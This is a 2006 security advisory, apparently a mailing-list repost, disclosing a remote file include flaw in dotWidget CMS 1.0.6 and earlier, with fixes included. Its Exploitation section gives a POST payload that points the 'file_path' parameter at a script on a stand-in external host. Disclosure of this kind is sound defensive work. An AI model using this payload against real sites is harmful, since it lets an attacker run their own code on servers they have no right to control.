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[MajorSecurity #7]dotWidget CMS <= 1.0.6 - Remote File Include Vulnerability
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Software: dotWidget CMS
Version: <=1.0.6
Type: Remote File Include Vulnerability
Date: June, 2nd 2006
Vendor: dotWidget
Page: http://dotwigdet.com
Risc: High
Credits:
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Discovered by: David 'Aesthetico' Vieira-Kurz
http://www.majorsecurity.de
Original Advisory:
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http://www.majorsecurity.de/advisory/major_rls7.txt
Affected Products:
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dotWidget CMS 1.0.6 and prior
Description:
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dotWidget CMS is content management at its easiest. Update your site's content in real-time.
Features include a built-in WYSIWYG text editor, multiple users and access levels,
customizable templates and more.
Requirements:
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register_globals = On
Vulnerability:
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Input passed to the "file_path" parameter in "index.php" "feedback.php" and "printfriendly.php"
is not properly verified, before it is used to include files.
This can be exploited to execute arbitrary code by including files from external resources.
Solution:
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Edit the source code to ensure that input is properly sanitised.
Set "register_globals" to "Off".
Exploitation:
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Post data:
file_path=http://www.yourspace.com/yourscript.php?
Received on Jun 04 2006
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